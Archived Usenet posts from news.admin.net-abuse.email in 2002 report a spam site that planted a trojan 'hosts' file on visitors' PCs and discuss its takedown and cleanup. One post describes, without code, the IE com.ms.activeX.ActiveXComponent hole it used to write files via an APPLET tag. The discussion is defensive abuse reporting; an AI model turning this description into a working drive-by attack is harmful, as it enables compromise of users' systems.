From af380@chebucto.ns.ca Tue Feb 26 07:08:38 2002
Status: RO
X-Status: 
From: spamless@Nil.nil
Subject: Re: TROJAN "hosts" FILE:COOKIE THEFT: IDENTITY THEFT?
Newsgroups: news.admin.net-abuse.email
References: <3c7848db$1_1@nntp2.nac.net> <3c795aa3$1_1@nntp2.nac.net> <3c79680e$1_1@nntp2.nac.net> <3c7b6eed$1_2@nntp2.nac.net>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7b7ac6$1_1@nntp2.nac.net>
Date: 26 Feb 2002 07:08:38 -0500
X-Trace: nntp2.nac.net 1014725318 inch.com (26 Feb 2002 07:08:38 -0500)
Lines: 19
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:767502

spamless@Nil.nil wrote:

> The site at 64.154.222.199 is now no longer redirecting to other
> sites. Good.

The site was simply giving a message that "file not found" and
had a mail link to the ISP. I got in touch with them.

Apparently Level3 told them to take the site down (which was
different from what they told me - namely that they had
just passed my report on to their downstream).

As expected, the site was paid for with a stolen credit card.

The admin at the site followed my suggestion and replaced
the "file not found" message with a note about deleting the
Trojan "hosts" file and informing those who reached the page
that their systems had been compromised.



From af380@chebucto.ns.ca Mon Feb 25 19:26:37 2002
Status: RO
X-Status: 
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newsfeed00.sul.t-online.de!t-online.de!newsfeed.r-kom.de!fu-berlin.de!uni-berlin.de!host213-1-187-211.btinternet.COM!not-for-mail
From: Inquisitor <ng_nanae@spamhunter.co.uk>
Newsgroups: news.admin.net-abuse.email
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Date: Mon, 25 Feb 2002 19:26:37 -0000
Organization: Inquisitor Systems
Lines: 20
Message-ID: <a5gcvm$71282$4@ID-86877.news.dfncis.de>
References: <3c7847ff$1_1@nntp2.nac.net> <bill-1A3BAE.10374324022002@corp.supernews.com>
NNTP-Posting-Host: host213-1-187-211.btinternet.com (213.1.187.211)
X-Trace: fu-berlin.de 1014740791 7375106 213.1.187.211 (16 [86877])
X-Posting-Agent: Hamster/1.3.23.1
X-Newsreader: MicroPlanet Gravity v2.60
Xref: News.Dal.Ca news.admin.net-abuse.email:767603

On the brass tablet <bill-1A3BAE.10374324022002@corp.supernews.com>, 
Bill Cole <bill@scconsult.com> scrawled...
> Do you really think anyone here is clueless enough to allow spamvertised 
> websites to drive MS Trojan Toolkit^W^W^WActiveX? 
> 
> I don't use any MS-ware on my own systems, but when I must I kill off 
> ActiveX. If a site requires ActiveX and does not tell you so explicitly, 
> it should not be trusted to use ActiveX.

Is the ActiveX digitally signed? IE6 default is to put up a Big Warning 
Screen if a webpage attempts to download an unsigned one, and a slightly 
less big one if it *is* signed (eg. Flash, Windows Update etc.)

For obvious reasons, I'm not going to the site!

-- 
I N Q U I S I T O R  / www.spamhunter.co.uk / inquisitor (at) my domain 
------------------------------------------------------------------------
The only difference between me and a madman is that I am not mad. 
	-- Salvador Dali


From af380@chebucto.ns.ca Tue Feb 26 20:31:00 2002
Status: RO
X-Status: 
From: spamless@nil.nil
Subject: Re: TROJAN "hosts" FILE:WEB CONNECTION THEFT: Surprise! You've just received a greeting card!
Newsgroups: news.admin.net-abuse.email
References: <3c7847ff$1_1@nntp2.nac.net> <bill-1A3BAE.10374324022002@corp.supernews.com> <a5gcvm$71282$4@ID-86877.news.dfncis.de>
User-Agent: tin/pre-1.4-980818 ("Laura") (UNIX) (FreeBSD/2.2.7-19980825-SNAP (i386))
NNTP-Posting-Host: inch.com
Message-ID: <3c7c36d4$1_1@nntp2.nac.net>
Date: 26 Feb 2002 20:31:00 -0500
X-Trace: nntp2.nac.net 1014773460 inch.com (26 Feb 2002 20:31:00 -0500)
Lines: 23
Path: News.Dal.Ca!newsflash.concordia.ca!sunqbc.risq.qc.ca!news.maxwell.syr.edu!newspeer1.nac.net!nntp2.nac.net!shell.inch.com!spamless
Xref: News.Dal.Ca news.admin.net-abuse.email:767853

Inquisitor <ng_nanae@spamhunter.co.uk> wrote:

> Is the ActiveX digitally signed? IE6 default is to put up a Big Warning 
> Screen if a webpage attempts to download an unsigned one, and a slightly 
> less big one if it *is* signed (eg. Flash, Windows Update etc.)

It is the old "com.ms.activeX.ActiveXComponent" security problem.

It uses that to create a File System Object and write lines of
text to it. It doesn't have its own, separate, ActiveX programme.

From a security note I saw when I checked that at google
(5 October 2000) (about IE_5.5).

"The problem is the com.ms.activeX.ActiveXComponent java object 
 which may be instantiated from <APPLET> tag (it throws security 
 exception in java console, but returns object, strange).
 The com.ms.activeX.ActiveXComponent java object allows creating 
 and scripting arbitrary ActiveX objects, including those not 
 marked safe for scripting."

Those who keep up-to-date with security patches and run IE
securely shold not be affected(?)